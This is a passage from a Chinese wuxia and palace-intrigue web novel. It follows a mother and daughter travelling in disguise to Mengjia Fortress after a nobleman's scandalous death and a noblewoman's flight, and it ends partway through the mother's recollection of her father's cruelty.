碧莲害怕得直发抖,碧波和碧水两人,一个陪着碧莲,另一个去外院喊了罗杰裕的书童进来,四个人才敢一起去正房确认了罗杰裕的死。
之后,碧波和碧莲守在院子里,书童和碧水一起跑回永宁侯府报信。
永宁侯带着侍卫和府医赶过来时,罗杰裕已经快凉了。
府医诊断,罗杰裕死于马上风。
这不是什么好听的死法,说出去实在丢人现眼。
永宁侯认为,勾着罗杰裕行事的碧莲是罪魁祸首,当场想要让碧莲偿命。
碧莲一边哭着磕头,一边说罗杰裕好行男女之事,永宁侯府中被他勾上手的丫鬟就有好几个,纪华筠院子里还有怀了罗杰裕孩子的丫鬟。
永宁侯一听事关后院女眷名声,暂且留了碧莲性命,他让人封了罗杰裕的院子,带着碧莲这个人证,回永宁侯府查证。
总之,昨夜的永宁侯府,闹了个人仰马翻。
最终查出来,永宁侯的两个姨娘院子里,各有一名丫鬟,与罗杰裕有过苟且,被姨娘发现后,找了其他由头发卖了出去。
纪华筠院子里,确实也有一个丫鬟,不但与罗杰裕搞在了一起,还搞出了身孕。
不过,那丫鬟命薄,两个月前,在出府买东西时,失足落水淹死了。
永宁侯气的在正院里来回走到了天亮,他想不通,他厚待的恩人之子,怎会是这种无耻之人?
他得知后的感觉,就像是吃了狗屎一样恶心!
天亮后,略打了个盹的永宁侯,听到了一个更让他睡不着的消息。
被关在柴房的碧莲,不见了。
同时消失的,还有他最看重的嫡女纪华筠。
永宁侯立即派人在府中找了个遍,都没有找到两人的踪影。
永宁侯夫人还发现,纪华筠屋中的钗环首饰华服还在,但箱笼里的金银和所有银票都不翼而飞。
意识到纪华筠可能带着碧莲和钱财跑了之后,永宁侯夫人直接晕了过去。
永宁侯将夫人安顿好,立刻派人去府外寻找。
同时,他以抓有害人之嫌的逃奴为名,亲自去见了京兆府尹崔怀远,帮他在京城各大城门设卡,搜捕纪华筠和碧莲。
……
“你说的这些,消息可靠吗?”
孟天双眼闪烁着兴奋的光芒。
“兵部那些官员,能知道永宁侯府这么多家事?”
谢清源讲了太多话,口干舌燥,喝下一杯茶,颇为得意地答道:
“当然不都是他们说的,我只要知道了方向,就能派人去查嘛,永宁侯府昨晚动静闹得大,稍微动点心思,不难知道内情。”
“做得不错。”孟天振奋地拍了拍手,“我就说,这个纪华筠,是个干大事的。”
谢清源注视着孟天,一时分不清,他的亲亲娘子,是在夸他,还是在夸纪华筠。
孟蕊还处在纪华筠逃家的震惊之中,她缓缓开口,声音带着些微嘶哑。
“难道说,罗杰裕的死,不是马上风?他是被谋杀的?”
第178章 力大无比
“罗杰裕的死因,应该没有可疑。”
谢清源沉着解释。
“除了永宁侯府的府医查验过之外,京兆府的仵作,也对罗杰裕的尸体进行了检查,确定是马上风无疑。
而且,据府医的陈述,罗杰裕自小身子骨较弱,又长期沉迷于男女之事,内里空虚,再吃了大补助兴的药,突然出事,并不是不可能。”
吃药助兴而死?孟蕊琢磨着,碧莲近身伺候罗杰裕,要给他下药,再简单不过。
前日,纪华筠想把罗杰裕骗下湖淹死不成。
昨夜,碧莲就让罗杰裕以更难堪的方式死去。
然后今早,她们两人一起逃跑了。
纪华筠和碧莲,她们其实是一伙的?
那在御花园的湖边,碧莲推纪华筠落水,也是她们商量好的,等着罗杰裕上钩?
“纪小姐她们,会被抓到吗?”
孟蕊不想她们被抓到,但又担心她们两名女子在外的安全。
“我们能不能想办法,帮帮她们?”
谢清源放下茶杯,对孟蕊摆了摆手,“用不着担心她俩,我听说啊,这位纪家大小姐,是个武功不俗的练家子,她俩估计一早就跑出京城了,永宁侯在城门设卡抓人,就是无用功。”
“那就好。”孟蕊放下心来。
她一时心急,忘记娘亲说过纪华筠会武了。
出门在外,必须得有足以自保的能力,否则就是拿自己的性命开玩笑,还不如不跑。
“你从哪里听说纪华筠会武的?”
孟天兴致勃勃地问。
“她的武功有多不俗?”
谢清源得意一笑,“我这消息可来之不易啊,与那程大人应酬了好几日,才在他喝醉后套出了话来,当然,我本意不是问纪家小姐的事,是想多了解下永宁侯府的情况而已。”
谢清源口中的程大人程金,现任兵部武选司郎中,是兵部尚书、永宁侯纪恺的亲信。
程金曾经跟随纪恺征战多年,对纪恺的家事比常人知道的要多一些。
据他酒后透露,纪恺的父亲老永宁侯在世时,曾是力能扛鼎的一员猛将。
纪家每隔一两代,就会出现一名力大无比的子嗣,纪恺这一辈没有出现,而在纪恺的儿女中,嫡女纪华筠,从小就展现了惊人的力气。
程金曾亲眼见过,只有五岁的纪华筠,单手拎起一只重达十斤的铁锤,足见天赋异禀。
纪恺虽遗憾继承家族天赋的不是儿子,而是女儿,但很快振作起来,开始教导纪华筠习武,不过几年,纪华筠就已能与青年男子对打不输阵。
直到纪华筠十岁那年,去宫中赴宴,二皇子见纪华筠长得玉雪可爱,伸手去摸纪华筠的脸,被小小年纪但警惕心很强的纪华筠,一把抓住二皇子的手腕,直接扭脱臼了。
二皇子疼得哇哇大哭,纪华筠也跟着哭,永宁侯夫妇连忙跪下请罪。
太医为二皇子将手腕复位后,吩咐要好生养着,并确认没有后遗症。
因为双方都是年岁相同的孩子,庆明帝觉得是小孩子玩闹,不小心磕碰,所以不予追究。
淑妃给庆明帝面子,表面说着不计较,但曹家却给永宁侯府使了绊子,比如派永宁侯去南边剿匪……
自此之后,永宁侯没有再教纪华筠武功,永宁侯夫人开始严加管教起女儿来,只让纪华筠学习琴棋书画,不准练武,更不准在人前显露,一直到现在。
“方若莹脑子有问题,纪华筠那么好的天赋,不拿来习武,竟然只让她学什么琴棋书画,太浪费了!”
孟天义愤填膺,恨不得自己去教纪华筠习武。
“这也是没办法的事,永宁侯夫妇担心触怒皇室和曹家,不得不这样做。”
谢清源靠近孟天,亲手斟了茶水,递到孟天面前。
“凡事有好有坏,曹家原本有意与纪家交好,让纪华筠做二皇子妃,想让纪家的兵权为他们所用,才让小时候的二皇子就与纪华筠亲近,但出了那事后,二皇子害怕纪华筠,死活不愿意,也算是放过了纪华筠吧。”
孟天接过茶喝了一口,还是觉得不爽,不忿地说:
“嫁个皇子有什么好的?那么高的武功天赋,那么厉害的姑娘,他们居然想要把她折了羽翼、关进宫里?还像是恩赐一样,我呸!”
“娘子别气,依我看,那位纪家小姐虽表面没有习武,但背地里,应是没有放下,而且从她此番行事来看,也很有主见。”
谢清源安抚地顺了顺孟天的背,轻声安慰。
“要不然,她怎能神不知鬼不觉地带着丫鬟,从永宁侯府逃跑呢?”
“那倒是,我摸过纪华筠的脉象,强劲有力,有真气游走,武功不低。”
孟天嘴角扬起欣赏的笑容,赞同道。
“希望她别被抓到,从此天高海阔,自由闯荡。”
……
城门设卡两日后,纪华筠和碧莲依然没被抓到,永宁侯也不想再耗下去把事闹大,城门的关卡便撤了去。
京兆府将罗杰裕之死结案,有永宁侯府府医证明罗杰裕身体病弱,又有京兆府仵作证明其死为突然病逝,京兆府尹崔怀远判断其为意外病逝,没有凶嫌。
永宁侯认可了京兆府的结案,吩咐将罗杰裕厚葬,并严令府中不得议论罗杰裕之死,对外一律称病逝。
又过了几日,永宁侯府大小姐纪华筠离京,替永宁侯夫人去云州看望姨母方若薇……
谢清源也终于收到了南边的传信,虽比预计时间晚了几日,但总算是到了。
展信一看,谢清源傻眼,皱着眉,又将信翻来覆去地看了两遍。
孟天看到他这样,就知道事有不妙,一把夺过谢清源手中的信,一目十行地看完,早有所料地叹息一声。
“我就说,只要阿瑜知道是你的意思,他就不会来京。”
孟天将信纸放在桌上,苦恼地揉了揉眉心。
孟瑾起身过去拿起信纸,越看眉头皱得越紧。
“信上写的什么?”
孟蕊紧张地走过去,凑到孟瑾身边,一起看向写满了字的信纸。
“怎么会这样?”
第179章 孟瑜出走
这封信,是谢清源安排在孟瑜身边的人发回的。
信上说,孟瑜发现了写信之人的身份,知道了他是谢清源安排的人,一气之下把他揍了一顿,还赶走了用来送信的信鸽,所以这封信回得迟了。
信上还说,孟瑜接到了兵部的调令,直接拒绝,说他在这里很好,不愿意回京。
孟瑜的上峰魏将军,好心劝他,不小心把谢清源安排的事说漏了嘴,孟瑜更加生气,当场辞了校尉一职,脱了官服,骑了马就走。
魏将军派去跟着的人,第二天回营禀报,说孟瑜骑马跑得飞快,他们追了快一天后跟丢了,只知道孟瑜出了城,是一路向着西北方向而去。
直到这封信发出前,还未查到孟瑜的行踪。
……
“都是我的错,我不该那么心急的。”
谢清源追悔莫及,苦闷地抱头叹气。
孟瑜这雷厉风行的性子,与他娘孟天像了个十成十,说走就走,也不留句话,谢清源都不知道该去哪里找儿子。
“娘子你说,我们的阿瑜会去哪儿?不管怎样,先要把他找回来呀!”
孟天微微抬眼,“你急什么?阿瑜又不是小孩子,他很小就随叔父在江湖历练,熟知江湖规矩,武功也不错,出不了事。”
“叔父?孟逐风?”
谢清源陡然站起来,眼前一亮。
“阿瑜跟着叔父在江湖上历练过,那他会不会也接到了孟家堡的邀请,去看传位大典?孟家堡正好在南郡军营的西北方向,我们先去孟家堡找阿瑜吧?”
孟天斜了他一眼,也站起身,双手搭在谢清源的肩上,大力把他压下,坐回了椅子上。
“娘子,你、你要干什么?”
谢清源受宠若惊,暗爽地看了看孟天按在自己双肩上的手,对上亲亲娘子越来越近的脸,故作娇羞地低头。
“孩子们都在呢,咱们这样不好。”
“你也知道不好,啊?”
孟天松开谢清源的肩,抬手揪住了谢清源的耳朵。
“阿瑜现在最不想见的就是你,你还想跑去孟家堡找他?你脑子不是蠢过头了,就是故意的!是想再次气跑阿瑜,让我以后都找不到他,是不是?”
“不是啊!娘子!”谢清源大叫冤枉,“阿瑜也是我儿子,我比任何人都想快点找到他!”
“那你就给老子好好待在京城,不许再出手!”
孟天发了狠,揪着谢清源的耳朵一扭,谢清源爆发痛叫。
“啊——!娘子,痛!好痛痛!”
“哼!”孟天松了手,指着谢清源的鼻子立规矩:
“谢清源,你给老子听着,以后任何关于阿瑜和蕊儿的事,你未经过我的同意,都不准擅自做主,你要是再敢先斩后奏,老子先斩了你!听懂没?”
“听懂了!”谢清源连连点头,承诺道,“我保证,以后所有事,都听娘子你的。”
孟天收回手,后退两步,通知道:
“我和蕊儿,明日起程去孟家堡,轻车简行,你们都不许跟着。”
“只有你和蕊儿去?那怎么行?总要带上侍卫高手保护。”谢清源当即反对。
孟天睨了他一眼,“谢清源,你前一句话,还在保证都听我的,这么快就反悔了?”
“我是担心你和蕊儿……”
谢清源尴尬地挠了挠头,努力在脑中搜索能说的理由。
“娘子你武功高强,在江湖行走惯了,自是没问题,但是蕊儿一直生活在京城,要不,她就不去了吧?”
“正是因为蕊儿一直住在京城,被安乐侯府养得唯唯诺诺、畏畏缩缩,时常为了点小事担惊受怕,我才要带她去看看外面的大山大河,见见江湖风浪。”
孟天豪迈地抬起双手,对孟蕊说。
“蕊儿别怕,有娘陪着你,等出了京城,自有我霸天帮的高手接应。”
“嗯!”孟蕊信任地望着娘亲,“和娘亲一起,我什么都不怕。”
京城是天子脚下,江湖人士如无必要,很少涉足,霸天帮也一样,只要离开京城,孟天有的是能使唤的人,还需要谢清源施舍的几个侍卫?
谢清源想到孟天现在是霸天帮的帮主,一呼百应,江湖中人确实比京中侍卫,更适合去孟家堡。
但他就是怕呀!
儿子孟瑜离开了南郡军营,现在妻子又要带着女儿离开京城,万一妻子诓他,带着儿子女儿又跑得无影无踪,那他岂不是,又成孤家寡人一个了?
不行,他得想个办法,随时掌握妻女的行踪。
“娘子,我不适合去,那让阿忠陪你们去吧?”
李管家一听,跃跃欲试,“是啊,夫人,带上我吧!我也想去江湖上活动活动筋骨。”
“阿忠,京城之中,我只信得过你,你得留下,照顾好阿瑾。”孟天认真道。
听到孟天信任的话,李管家顿感荣耀非常,对着谢清源炫耀地晃了晃脑袋。
“我听夫人的,一定照顾好大少爷。”
谢清源不服气地问:“娘子,你只信得过阿忠,信不过我?”
“有前科的人,不值得相信。”孟天直接回怼。
谢清源瞬间面色灰败,泄气低头,沉默不语。
一直没有参与讨论的孟瑾,突然上前,走到孟天面前,拱手作揖。
“母亲,我想和您一起去孟家堡找二弟,与二弟说清当年的事,解除与父亲之间的误会,”
“你更不能去!”
孟天一口回绝,语气比怼谢清源时,缓和了一些。
“阿瑾,当年你还小,那些事与你无关,你现在只需要做好你该做的事,不要让你的母亲和父亲失望,明白吗?”
“孩儿明白。”
孟瑾没有坚持,对着孟天深深一礼后,提议道:
“母亲,蕊儿跟随您出门游历是好事,不过她到底年纪小,武功才开始学,不如带上吟夏和吟秋,她们会武,既能照顾你们起居,也不会耽误行程,您觉得可以吗?”
孟天看看真诚提议的孟瑾,又看看一脸期待的谢清源,心里门儿清。
不就是想派两个丫鬟跟着,掌握她们的行踪吗?孟天无所谓。
“行,就让她们俩跟着吧。”
孟天做了决定,又回头交代孟蕊。
“蕊儿,今日收拾好重要行李,别带太多东西,咱们明日一早出发。”
第180章 出发孟家堡
五月初二早晨,一辆朴素的马车,从商户孟府门口驶离。
两名骑马的男子随行,一个是中年络腮胡壮汉,另一个是白净清瘦的年轻后生。
一行人到了城门口,拿出了孟府路引,给守城士兵核对。
他们一共四人,要去南边探亲,白净后生是孟家少爷,马车里坐着两位孟家女眷,络腮胡壮汉是护卫。
守城士兵核对无误后,挥挥手,放了行。
出城后,孟府四人加快了行驶速度,走了快五里地,与官道上的其他人拉开了距离。
熟门熟路装扮成络腮胡护卫的孟天,骑在马上伸了个懒腰,粗声粗气地感慨:
“终于出京了,外面的空气就是新鲜。”
在她身侧骑马前行的,是同样女扮男装的孟蕊,现在的身份是孟家少爷。
坐在马车前方驾车的吟夏,见周围无人,出声建议道:
“小……公子,若是骑马累了,到马车里歇会儿?”
坐在马车中的吟秋,也掀起车帘,“奴婢会骑马,这风吹日晒的,您二位来马车里吧。”
虽扮演的身份不同,但哪有主子在外面骑马,她们做丫鬟的在马车里躲懒的?吟夏和吟秋都觉得不妥。
孟蕊对她们摇了摇头,沉下一口气,发出类似男子的低沉嗓音。
“不必,我喜欢骑马。”
她骑着马,跟在孟天身侧,对孟天说。
“以我们现在的脚程,多久能到孟家堡?我骑马尚可,速度可以更快些。”
想到二哥孟瑜很可能去了孟家堡,孟蕊迫不及待想要去见他。
孟天却不慌不忙,“不急,孟家堡就在那里,又不会自己跑了,咱们慢慢走,一路玩,差不多月底能到。”
“可是二哥行踪不定,咱们若是去晚了,会不会失了二哥的消息?”孟蕊不放心地问。
“如果孟家堡的传位大典,是冲着咱们来的,那咱们不到场,他们拿什么唱戏?”
孟天放慢骑马的速度,悠哉游哉地从怀里摸出半个早上没吃完的饼,边吃边说。
“他们定是想让我们早点到,但咱们凭什么让他们如意?这一路上好吃的好玩的不少,只顾着赶路,而错过了路上的风景,多亏啊。”
孟蕊觉得有道理,“咱们不去,他们的戏唱不起来,二哥也会等在那里不走,对吗?”
“其实,我也不确定你二哥会不会去孟家堡,不过,管他呢。”
孟天嚼着肉饼,语气轻松。
“他还有几个月就及冠了,长大了,有自己的主意,也有本事到处跑。
上次他不打招呼跑不见,我花了半年多的时间,才在南郡军营找到他,问他为什么去从军,他说他愿意,不要我管,把我气得够呛。
后来我想通了,孟瑜那小子,从小就随我,倔强的性子随我,高强的武艺也随我,我也是从小不爱回家,喜欢跟着叔父在江湖闯荡。
我自个儿都是自由散漫的德性,何必要求儿子循规蹈矩呢?
随他去吧,他高兴就好。”
孟天几口吃完肉饼,又拿起水囊“咕咚咕咚”地豪迈喝水。
听着娘亲对二哥的抱怨,外加精准的自我剖析,孟蕊的脑海中,逐渐勾勒出二哥孟瑜的形象。
高大威猛的江湖侠客,背负一柄长剑,面容冷峻,不苟言笑,仿若一座高不可攀的孤峰,令人望而生畏……
孟蕊觉得,二哥孟瑜也很不容易。
孟瑜虽然一直跟着亲生母亲孟天,但从小就经历了京城大乱,然后颠沛流离,刚过几年安稳日子,又因为姜瑶害死了他最喜欢的雪狼,心灵受创,小小年纪就坚决离开家,跟着孟逐风去闯荡江湖。
再到后来,孟逐风去世,孟瑜回到江州家中,不久后,他偷偷跑去南郡从军,因为用了本名,被亲生父亲谢清源找到……
孟蕊记得大哥说过,二哥一开始见到爹爹,根本不认他,是爹爹伙同其上峰,逼迫二哥说出娘亲孟天的下落,这件事让二哥对爹爹有了不好的印象。
最近,二哥知晓身边有爹爹的人监视,回京城的调令,也是爹爹的手笔,以二哥孤高倔强的性子,自是受不了,直接放弃军职跑了,孟蕊不但理解,还有些同情二哥。
“娘亲,我真的好想见到二哥,咱们得想办法找到他呀。”
孟蕊见周围没有其他人,用回自己原本柔软的女子声,对着孟天半撒娇道。
这趟出门,她最大的期待,就是见到二哥孟瑜,怎能放任不管?
孟蕊骑着马,往孟天身边凑近了些,“娘亲,二哥心里有委屈,咱们找到二哥后,您别和他置气,好好和他把话解释清楚,行吗?”
孟天看着孟蕊,突地笑了出来,“蕊儿,注意你的形象,做男子时,切忌用女子声音说话,当心穿帮,还有,我是护卫老孟,记好了。”
“咳咳……我知道。”
孟蕊尴尬地摸了摸脸,切换回了低沉的男子声音。
“老孟,本公子方才说的,你同意否?”
孟天煞有介事地对她拱了拱手,“公子的交代,属下必定从命。”
“娘……老孟,你同意去找二哥了?”孟蕊一喜,差点喊错称呼。
孟天摸了摸自己下巴上的胡子,胸有成竹道:
“公子放心,到时候,我自有办法把二公子引出来,等着瞧,他跑不掉!”
……
接下来的日子,孟天带着孟蕊,一路游山玩水,也让孟蕊体验了许多前所未有的经历。
她们故意住进黑店,在黑店掌柜带着伙计想要劫财劫色时,掀桌大打一场,孟蕊的飞刀第一次见了血,伤了人,还救了好几个被劫的客商。
孟天拍着孟蕊发懵的脑袋夸赞:“干得不错,我没看错,假以时日,你的暗器定能大成。”
她们又去了土匪窝,发现只是一群可怜人后,孟天招了附近霸天帮的堂主过来,把土匪们收编,给了山寨里的老弱妇孺们稳定的安置。
经过一处大城,孟天单独带着孟蕊,潜入当地首富的宅邸账房,偷了一大袋金子,准备劫富济贫。
孟蕊一时好奇,翻看了账房里的账目,发现了这家官商勾结,私吞朝廷救灾粮的证据,直接飞鸽传书给京城的谢清源,让他想办法惩治贪官污吏。
……
如此一路下来,走走停停一个月,才到达渝州地界。
奇怪的是,时间已经到了六月,孟家堡的传位大典,竟然还没有举办。
而到渝州城的第一天,孟天和孟蕊就听闻了一大噩耗。
孟家堡堡主孟剑雨,突然病逝!
第181章 隐瞒身份
六月初一,孟天与孟蕊一行人,终于到达了渝州城。
渝州沿江,航运发达,往来商队川流不息,让此地物阜民丰,虽比不上京城的繁华盛景,但也商铺林立,颇为热闹。
孟天和孟蕊的目的地孟家堡,并不在渝州城中,而是在城外二十里地之外的影山上。
影山,顾名思义,因地势高,湿气重,常年被雾气环绕,只看得清山模糊的轮廓,如黑夜中的影子一般。
相传,孟家堡的历史,最早可以追溯到一百多年前。
孟家堡初代堡主孟道原,途经影山时,在山中悟道数日,便悟出了武功绝学混元裂空掌,自此定居影山,创立了孟家堡,一代又一代地传承到现在。
现任孟家堡堡主孟剑雨,是孟家堡第六代堡主。
孟剑雨有过两任妻子,共育有一女二子。
长女孟天,是早逝的原配妻子金氏所出。
次子孟繁,是填房苗氏所出,他武功一般,但派头十足,颇得堡主父亲看重。
幼子孟简,也是苗氏所出,武功比兄长孟繁高出不少,人也谦和有礼,在江湖中颇得人缘,不少人都觉得孟简比孟繁更当得起堡主之位。
此外,孟剑雨纳的几个小妾,皆是一无所出,人人都等着看,他要把堡主之位,传给哪一个儿子。
由于孟家堡即将举办传位大典,近期的渝州城中,也来了不少看热闹的江湖人士。
孟天在城外,便对孟蕊和吟夏吟秋交代好,她们要暂时隐瞒身份,对外只称是商户,来渝州城里做生意。
孟蕊扮演商户少东家,作风流倜傥的公子哥打扮,带着钱来采购布匹,运回江州售卖。
络腮胡壮汉装扮的孟天,和换上男装并佩剑的吟夏和吟秋,都是孟蕊的护卫。
一主三护卫的搭配,既合理,又让人不敢轻易挑衅。
“咱们先在城内找地方住下,待摸清楚情况,再往孟家堡去。”
孟天定好了计划,四人便一同进城,去寻找能够住宿的客栈旅店。
渝州城门的管理,比京城宽松许多,城门处值守的士兵,只瞄了一眼孟蕊拿出的路引,没有仔细核对,就放了她们进城。
孟天选了一家客栈入住,要了两间上房,孟天和孟蕊一间,吟夏和吟秋一间。
放好行李后,孟天带着孟蕊她们,去渝州最有名的酒楼醉香楼吃好的。
这是她们一路游历的习惯,每到一处,都要找到当地最有名的饭庄酒楼,好吃好喝一顿。
孟蕊发觉,自己这一路,不但胖了一圈,晒黑了些,好像还长高了点。
她如今身上的这套男装的尺寸,比离京时穿的那件,肩宽、腰围和长度,都放宽了一两寸,她扮起男人来,也越加得心应手。
跟着娘亲打了好几场架后,孟蕊觉得自己有点上瘾。
看到街上凶神恶煞的恶棍,她已经不像以前那样会觉得害怕,反而有些跃跃欲试,想看她手中的飞刀,能不能精准射中恶棍的喉咙。
娘亲在路上还教了她轻功,行路时,她常常不骑马也不坐车,就跟着娘亲的马儿后边跑,跑着跑着,她觉得自己的身体变轻了,脚步变快了,也不觉得累,就是饭量变大,晚上睡觉更香。
这不,一进醉香楼,闻到饭菜香味,孟蕊的肚子就饿得咕咕叫。
要是以往,她会觉得失礼,但现在,她浑不在意,只想尽快吃到美味,把自己喂饱,然后继续练武,再变得更强!
醉香楼宾客云集,已经过了饭点,在这里吃饭的人依然很多。
其中一多半的人,一看就是腰间别着刀剑的江湖侠士侠女,他们聚在一起豪爽拼酒,高谈阔论,大堂内一片喧闹。
孟蕊觉得吵闹,本想要个包间,但楼上的包间已经坐满,她们也懒得讲究,挑了大堂角落里的桌子坐下,直接点招牌菜。
吟夏和吟秋也不分主仆,一起坐下用膳。
渝州的菜色口味偏重,孟蕊配着菜,不一会儿,就吃完了一大碗白米饭,感觉只有半饱,又去盛第二碗饭。
孟天满意地看着女儿吃饭香喷喷的可爱样,强壮的身体,是练武的基础,若都是京城贵女那副软若无骨的样子,在弱肉强食的江湖上,是要被欺负死的。
孟蕊专心致志地吃饭,并未注意到娘亲看她的眼神,直到第二碗饭吃了一半,忽然听到醉香楼大门外,传来急促的脚步声,还伴着喘着粗气的呼喊。
“大消息!孟家堡出事了!出大事了!”
孟蕊抬起头,看到一名瘦高的年轻男子,疾风般跑进醉香楼,停在了大堂中间那桌闹酒闹得最凶的江湖人士边上。
桌上一名刀疤脸魁梧男子,喝酒正起兴,看到瘦高个男子,酡红的脸一沉,不悦地斥道:
“木老三,你囔囔什么?孟家堡能出什么事?他们传位大典拖了这么久,再不办,老子都想走了。”
“大哥,真出事了。”木老三凑到刀疤脸耳边,嘀咕了几句。
大堂中的人们不约而同地停下动作,望向木老三和刀疤脸。
刀疤脸听了木老三的话,倏地变脸,一副瞠目结舌的惊恐样。
酒桌上的其他几人,看到刀疤脸的反应,纷纷围过来七嘴八舌地问:
“刀哥,是不是传位大典开始了?堡主要传给谁?”
“难道不是?那孟家堡发生了什么事?”
“你别卖关子,快说呀!”
……
刀疤脸在吵闹声中回神,不可置信地问木老三:
“你堡主死了,是孟剑雨?他真死了?”
此言一出,旁边问话的几人呆住了,大堂中熙攘的说话声也渐渐停歇,气氛仿佛骤然凝固,都在等着木老三回答。
木老三生怕没人信他,倒豆子一般把知道的消息和盘托出。
“不是他,还能是谁?我刚从孟家堡回来,那大门上已经挂了白,说是孟堡主昨晚突然就死了,不信?你们自己去孟家堡看呐!”
“砰!”
孟天手中的酒杯落地,摔成碎片,酒水在地板上晕染一片。
孟蕊看到娘亲骤然发白的嘴唇,心中一紧。
孟堡主,孟剑雨,是她娘亲的父亲,也是她的外祖父。
她还没见过他,他竟就这样死了?
第182章 父女恩仇
孟蕊看到娘亲神情不对,想要去握娘亲的手安慰,但想到她们现在的身份和外表,只得按捺下冲动,小声提醒:“其中或许有诈。”
好在她们坐在大堂的角落,其他人的注意力,都在散播消息的木老三身上,没人注意到孟天的异样。
木老三的话,如沸水倒入油锅,让大堂中的人们沸腾,议论声越来越大。
“孟堡主去世了?要是真的,传位大典不用办了?”
“我是说这孟家堡的传位大典怎么一直拖着不办呢?原来是老堡主不行了,直接没了,也省事了。”
“这下不用传位,直接是大公子孟繁当新堡主咯?”
“孟繁?那个武功低级的二世祖,当孟家堡堡主?呵,要真这样,孟家堡要完蛋!”
“就是,凭什么一定是孟繁?孟简在孟家堡的支持可比孟繁高!”
……
在人声鼎沸的议论声中,孟天神情逐渐恢复如常。
她扯了扯嘴角,对孟蕊安抚一笑。
“公子说得有理,凡事不能偏听偏信,眼见为实,先把饭吃完再说。”
孟天端起碗,给自己盛了一大碗饭,大口吃起来。
孟蕊也继续吃完了自己碗里的饭,但心中有了事,饭菜不如之前那般香了。
饭后,孟天派吟夏和吟秋去街上打探消息,只带着孟蕊回到落脚的客栈房间。
在房间中检查了一圈,确认安全后,孟天才开口:
“我们来到渝州第一天,就传出孟老头突然去世的消息,此事有古怪,或许,是为了引我去孟家堡的诱饵。”
孟蕊表示赞同,认真分析:
“娘亲您是在四月底接到孟家堡传信,从京城出发,若路上不耽误,差不多半个月就能到达孟家堡。
而传位大典本是定在五月中举办,刚好是我们正常能赶到的时间。
或许,就因为我们没来,传位大典就拖着没办,这不是巧合,是在等我们入瓮啊。”
“没错,我在路上有意拖延,也是有试探他们的意思,现在看来,我们试对了。”
孟天眼中深沉,酝酿着失望与杀意。
“孟老头当真是恨得我要死,没见到我出现,居然诈死,也要引我回去,真是难为他了。”
孟蕊望着娘亲冷若冰霜的脸庞,心中一凛。
抿了抿唇,孟蕊问出了一直困扰她的问题。
“娘亲,孟堡主是您的父亲,他为何要针对您?之前是发生过什么事吗?”
问题一出口,孟蕊就看到,她娘亲的眼神更冷了,脸上仿佛覆了一层寒霜,透着不容接近的疏离。
孟蕊顿时有些后悔,她不想戳到娘亲的痛处,但不知道这些问题的答案,会影响她对现在情况的判断。
“娘亲,我……”
“没关系,这些事,本来就该让你知道。”
孟天看着孟蕊,眼中冷意悄然褪去,嘴角轻微上扬,带着一丝宽慰和释然。
孟天告诉女儿孟蕊,她的母亲金惜月,也就是孟蕊的外祖母,是个美丽病弱的女子。
不过,孟家堡里的人都说,金惜月成亲之前,曾是武功高强的一代侠女,为了生下孟天,才落下了病根,身体开始孱弱,最终药石无医。
金惜月去世的那一年,孟天七岁,已经能够清晰地记得,父亲孟剑雨看向她时愤恨的眼神,那眼神仿佛在说:
“都是你,都是因为你的出生,害死了我最爱的女人。”
可是,男人的深情,来得刻骨铭心,去如疾风骤雨。
金惜月去世两年后,孟剑雨就娶了填房苗氏。
苗氏是怀着身孕,嫁进孟家堡的,五个月后,生下了儿子孟繁。
孟剑雨很是欢喜,把孟繁当宝贝一样宠着,与女儿孟天渐行渐远。
孟天心中虽有失落,但她从小习武,对武学的痴迷,已经大大超过对父爱的追求。
父亲不待见她,她就厚着脸皮去找祖父。
祖父发现孟天武学天赋奇高,时常过问孟天的学问和功夫,还会亲自指点,让失去父亲关爱的孟天,在孟家堡中也活得很滋润,武功更是突飞猛进,远超同龄人的水准。
十二岁那年,孟天在比试中打败了父亲孟剑雨的嫡传弟子,高兴地望向父亲,却见父亲一脸阴沉地盯着她,不见半点为女儿成长感到欢欣。
孟天原本雀跃的心情,也倏然淡去。
也是这一年,苗氏生下了小儿子孟简。
苗氏进门后,孟剑雨没有像对待金惜月那样专一,独爱妻子一人,他还纳了其他几房小妾,雨露均沾,想要尽量多地开枝散叶。
但除了苗氏外,没有其他人诞下过子嗣,孟剑雨对苗氏更加宠爱。
于是,当苗氏提出,想要带着两个儿子,住进了孟家堡中风景最好的院子时,孟剑雨只是迟疑片刻,便点头同意。
孟家堡中风景最好的院子,是孟天的母亲金惜月住过的院子。
那里,有孟天对母亲的回忆,每当练武遇到瓶颈,或是遭遇父亲的冷眼,苗氏的冷嘲热讽时,孟天都会悄悄翻墙进来,在物是人非的一草一木、一砖一瓦中,汲取一点温暖。
苗氏母子要住进去,孟天自然不同意。
她找到父亲,据理力争,企图改变父亲的决定,但被无情拒绝。
当苗氏带着下人要搬进去时,孟天守在院子门口,死活不让人进。
就算父亲赶来,命令她滚开,孟天也不让。
十二岁的孟天,看着曾经疼爱她的父亲,护着苗氏母子的样子,觉得刺眼极了。
她挑衅地对父亲说:“除非我死了,否则,绝不让出母亲的院子,有种你就打死我!”
孟剑雨动了怒,父女二人真就在院子门口动起手来。
即使武学天赋再高,孟天那时也只是十二岁的孩子,不是有着数十年功力的孟剑雨的对手。
孟天输得很惨,她不但被打败,还被孟剑雨废了过去几年的武功,大病一场。
孟天觉得,那天若不是祖父及时赶到救下她,孟剑雨真会当场杀了她。
她和孟剑雨之间的父女之情,在那一天,随着她被废去的武功一样,散了个干净。
自那天后,孟天再没叫过孟剑雨父亲……
第183章 报仇要趁早
“祖父发了话,不许苗氏母子搬进母亲的院子,我则被祖父带回去养伤。”
孟天回忆着过去,语气轻松地说。
“后来,我的伤养好了,从头开始练武,虽然很难、很痛苦,但我坚持了下来,我不但重新捡起了被他废掉的武功,还比之前更强。”
她自信一笑,明亮而坚定的双眼看向孟蕊。
“怎么样?你娘我是不是很厉害?”
“嗯!娘亲最厉害。”孟蕊鼻头发酸,声音哽咽。
她好心疼小时候的娘亲,不明白怎么会有那么狠心的父亲?
为了一个院子,不但对亲生女儿大打出手,还废了亲生女儿的武功,真是太残忍了!
孟蕊又想到前世的自己,被安乐侯夫妇这对养父母背叛、折磨,她都受不了,恨不得拉着他们一起死,那娘亲被亲生父亲打伤,得多伤心难过啊?
“怎么要哭鼻子了?为娘告诉你这些,不是要让你忧伤的。”
孟天看着眼眶发红的孟蕊,抬手摸了摸女儿的头。
“古人云,吃一堑,长一智,你从我的经历中,有学到什么?”
孟蕊微怔,试探做答:“要审时度势,知难而退?”
如果娘亲没有挑衅孟剑雨,那他们父女俩应该不会爆发冲突打起来,娘亲就不会经历被废武功的痛。
